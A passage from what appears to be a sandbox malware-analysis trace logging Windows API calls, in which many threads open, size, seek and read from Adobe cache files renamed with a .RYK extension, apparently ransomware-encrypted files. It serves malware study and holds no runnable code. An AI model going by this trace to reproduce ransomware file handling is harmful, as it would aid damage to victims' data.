	[0205.347] ReadFile (in: hFile=0x468, lpBuffer=0x8c1fad0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c1fa40, lpOverlapped=0x0 | out: lpBuffer=0x8c1fad0*, lpNumberOfBytesRead=0x8c1fa40*=0x19, lpOverlapped=0x0) returned 1
	[0205.347] CloseHandle (hObject=0x468) returned 1

Thread:
	id = 1796
	os_tid = 0x2200

	[0205.349] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK", dwFileAttributes=0x80) returned 1
	[0205.349] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x468
	[0205.349] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x910fa98 | out: lpFileSize=0x910fa98*=5410) returned 1
	[0205.349] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x910faa8 | out: lpFileSize=0x910faa8*=5410) returned 1
	[0205.350] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0205.350] ReadFile (in: hFile=0x468, lpBuffer=0x910faf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x910fa60, lpOverlapped=0x0 | out: lpBuffer=0x910faf0*, lpNumberOfBytesRead=0x910fa60*=0x19, lpOverlapped=0x0) returned 1
	[0205.350] CloseHandle (hObject=0x468) returned 1

Thread:
	id = 1797
	os_tid = 0x2204

	[0205.351] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK", dwFileAttributes=0x80) returned 1
	[0205.352] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x468
	[0205.352] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x92af818 | out: lpFileSize=0x92af818*=77762) returned 1
	[0205.352] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x92af828 | out: lpFileSize=0x92af828*=77762) returned 1
	[0205.353] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x12ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0205.353] ReadFile (in: hFile=0x468, lpBuffer=0x92af870, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x92af7e0, lpOverlapped=0x0 | out: lpBuffer=0x92af870*, lpNumberOfBytesRead=0x92af7e0*=0x19, lpOverlapped=0x0) returned 1
	[0205.353] CloseHandle (hObject=0x468) returned 1

Thread:
	id = 1798
	os_tid = 0x2208

	[0205.355] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK", dwFileAttributes=0x80) returned 1
	[0205.355] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\acecache11.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x468
	[0205.355] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x942f938 | out: lpFileSize=0x942f938*=1458) returned 1
	[0205.355] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x942f948 | out: lpFileSize=0x942f948*=1458) returned 1
	[0205.356] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0205.356] ReadFile (in: hFile=0x468, lpBuffer=0x942f990, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x942f900, lpOverlapped=0x0 | out: lpBuffer=0x942f990*, lpNumberOfBytesRead=0x942f900*=0x19, lpOverlapped=0x0) returned 1
	[0205.356] CloseHandle (hObject=0x468) returned 1

Thread:
	id = 1799
	os_tid = 0x220c

	[0205.358] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0205.358] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x468
	[0205.359] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x966f7d8 | out: lpFileSize=0x966f7d8*=66498) returned 1
	[0205.359] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x966f7e8 | out: lpFileSize=0x966f7e8*=66498) returned 1
	[0205.359] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x102a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0205.359] ReadFile (in: hFile=0x468, lpBuffer=0x966f830, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x966f7a0, lpOverlapped=0x0 | out: lpBuffer=0x966f830*, lpNumberOfBytesRead=0x966f7a0*=0x19, lpOverlapped=0x0) returned 1
	[0205.359] CloseHandle (hObject=0x468) returned 1

Thread:
	id = 1800
	os_tid = 0x2210

	[0205.660] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0205.661] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4
	[0205.661] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x8e3fbf8 | out: lpFileSize=0x8e3fbf8*=2962) returned 1
	[0205.661] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x8e3fc08 | out: lpFileSize=0x8e3fc08*=2962) returned 1
	[0205.662] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0xa70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0205.662] ReadFile (in: hFile=0x4e4, lpBuffer=0x8e3fc50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8e3fbc0, lpOverlapped=0x0 | out: lpBuffer=0x8e3fc50*, lpNumberOfBytesRead=0x8e3fbc0*=0x19, lpOverlapped=0x0) returned 1
	[0205.662] CloseHandle (hObject=0x4e4) returned 1

Thread:
	id = 1812
	os_tid = 0x2244

	[0205.663] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0205.664] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4
	[0205.664] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x8f7fd38 | out: lpFileSize=0x8f7fd38*=35394) returned 1
	[0205.664] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x8f7fd48 | out: lpFileSize=0x8f7fd48*=35394) returned 1
	[0205.664] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x8920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0205.665] ReadFile (in: hFile=0x4e4, lpBuffer=0x8f7fd90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f7fd00, lpOverlapped=0x0 | out: lpBuffer=0x8f7fd90*, lpNumberOfBytesRead=0x8f7fd00*=0x19, lpOverlapped=0x0) returned 1
	[0205.665] CloseHandle (hObject=0x4e4) returned 1

Thread:
	id = 1813
	os_tid = 0x2248

	[0205.668] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0205.668] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4
	[0205.668] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x90bfa18 | out: lpFileSize=0x90bfa18*=138738) returned 1
	[0205.669] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x90bfa28 | out: lpFileSize=0x90bfa28*=138738) returned 1
	[0205.669] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x21cd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0205.669] ReadFile (in: hFile=0x4e4, lpBuffer=0x90bfa70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x90bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x90bfa70*, lpNumberOfBytesRead=0x90bf9e0*=0x19, lpOverlapped=0x0) returned 1
	[0205.669] CloseHandle (hObject=0x4e4) returned 1

Thread:
	id = 1814
	os_tid = 0x224c

	[0205.680] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0205.680] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4
	[0205.681] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x8d0fbf8 | out: lpFileSize=0x8d0fbf8*=53474) returned 1
	[0205.681] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x8d0fc08 | out: lpFileSize=0x8d0fc08*=53474) returned 1
	[0205.681] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0xcfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0205.681] ReadFile (in: hFile=0x4e4, lpBuffer=0x8d0fc50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d0fbc0, lpOverlapped=0x0 | out: lpBuffer=0x8d0fc50*, lpNumberOfBytesRead=0x8d0fbc0*=0x19, lpOverlapped=0x0) returned 1
	[0205.681] CloseHandle (hObject=0x4e4) returned 1

Thread:
	id = 1815
	os_tid = 0x2250

	[0205.683] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK", dwFileAttributes=0x80) returned 1
	[0205.683] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4
	[0205.684] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x924fb18 | out: lpFileSize=0x924fb18*=5410) returned 1
	[0205.684] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x924fb28 | out: lpFileSize=0x924fb28*=5410) returned 1
	[0205.684] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0205.684] ReadFile (in: hFile=0x4e4, lpBuffer=0x924fb70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x924fae0, lpOverlapped=0x0 | out: lpBuffer=0x924fb70*, lpNumberOfBytesRead=0x924fae0*=0x19, lpOverlapped=0x0) returned 1
	[0205.684] CloseHandle (hObject=0x4e4) returned 1

Thread:
	id = 1816
	os_tid = 0x2254

	[0205.686] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK", dwFileAttributes=0x80) returned 1
	[0205.686] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4
	[0205.687] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x94dfb98 | out: lpFileSize=0x94dfb98*=77762) returned 1
	[0205.687] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x94dfba8 | out: lpFileSize=0x94dfba8*=77762) returned 1
	[0205.687] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x12ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0205.687] ReadFile (in: hFile=0x4e4, lpBuffer=0x94dfbf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x94dfb60, lpOverlapped=0x0 | out: lpBuffer=0x94dfbf0*, lpNumberOfBytesRead=0x94dfb60*=0x19, lpOverlapped=0x0) returned 1
	[0205.687] CloseHandle (hObject=0x4e4) returned 1

Thread:
	id = 1817
	os_tid = 0x2258

	[0206.104] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK", dwFileAttributes=0x80) returned 1
	[0206.105] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\acecache11.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514
	[0206.105] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x960fb38 | out: lpFileSize=0x960fb38*=1458) returned 1
	[0206.105] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x960fb48 | out: lpFileSize=0x960fb48*=1458) returned 1
	[0206.105] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0206.105] ReadFile (in: hFile=0x514, lpBuffer=0x960fb90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x960fb00, lpOverlapped=0x0 | out: lpBuffer=0x960fb90*, lpNumberOfBytesRead=0x960fb00*=0x19, lpOverlapped=0x0) returned 1
	[0206.109] CloseHandle (hObject=0x514) returned 1

Thread:
	id = 1830
	os_tid = 0x228c

	[0206.111] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0206.111] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514
	[0206.112] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x8d8f698 | out: lpFileSize=0x8d8f698*=66498) returned 1
	[0206.112] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x8d8f6a8 | out: lpFileSize=0x8d8f6a8*=66498) returned 1
	[0206.112] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x102a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0206.112] ReadFile (in: hFile=0x514, lpBuffer=0x8d8f6f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d8f660, lpOverlapped=0x0 | out: lpBuffer=0x8d8f6f0*, lpNumberOfBytesRead=0x8d8f660*=0x19, lpOverlapped=0x0) returned 1
	[0206.115] CloseHandle (hObject=0x514) returned 1

Thread:
	id = 1831
	os_tid = 0x2290

	[0206.116] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0206.117] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514
	[0206.117] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x8f7fad8 | out: lpFileSize=0x8f7fad8*=2962) returned 1
	[0206.117] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x8f7fae8 | out: lpFileSize=0x8f7fae8*=2962) returned 1
	[0206.117] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0xa70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0206.117] ReadFile (in: hFile=0x514, lpBuffer=0x8f7fb30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f7faa0, lpOverlapped=0x0 | out: lpBuffer=0x8f7fb30*, lpNumberOfBytesRead=0x8f7faa0*=0x19, lpOverlapped=0x0) returned 1
	[0206.120] CloseHandle (hObject=0x514) returned 1

Thread:
	id = 1832
	os_tid = 0x2294

	[0206.121] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK", dwFileAttributes=0x80) returned 0
	[0206.122] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.122] CloseHandle (hObject=0xffffffffffffffff) returned 0

Thread:
	id = 1833
	os_tid = 0x2298

	[0206.124] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK", dwFileAttributes=0x80) returned 0
	[0206.124] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.124] CloseHandle (hObject=0xffffffffffffffff) returned 0

Thread:
	id = 1834
	os_tid = 0x229c

	[0206.125] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK", dwFileAttributes=0x80) returned 0
	[0206.126] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.126] CloseHandle (hObject=0xffffffffffffffff) returned 0

Thread:
	id = 1835
	os_tid = 0x22a0

	[0206.312] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK", dwFileAttributes=0x80) returned 0
	[0206.312] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.312] CloseHandle (hObject=0xffffffffffffffff) returned 0

Thread:
	id = 1846
	os_tid = 0x22d0

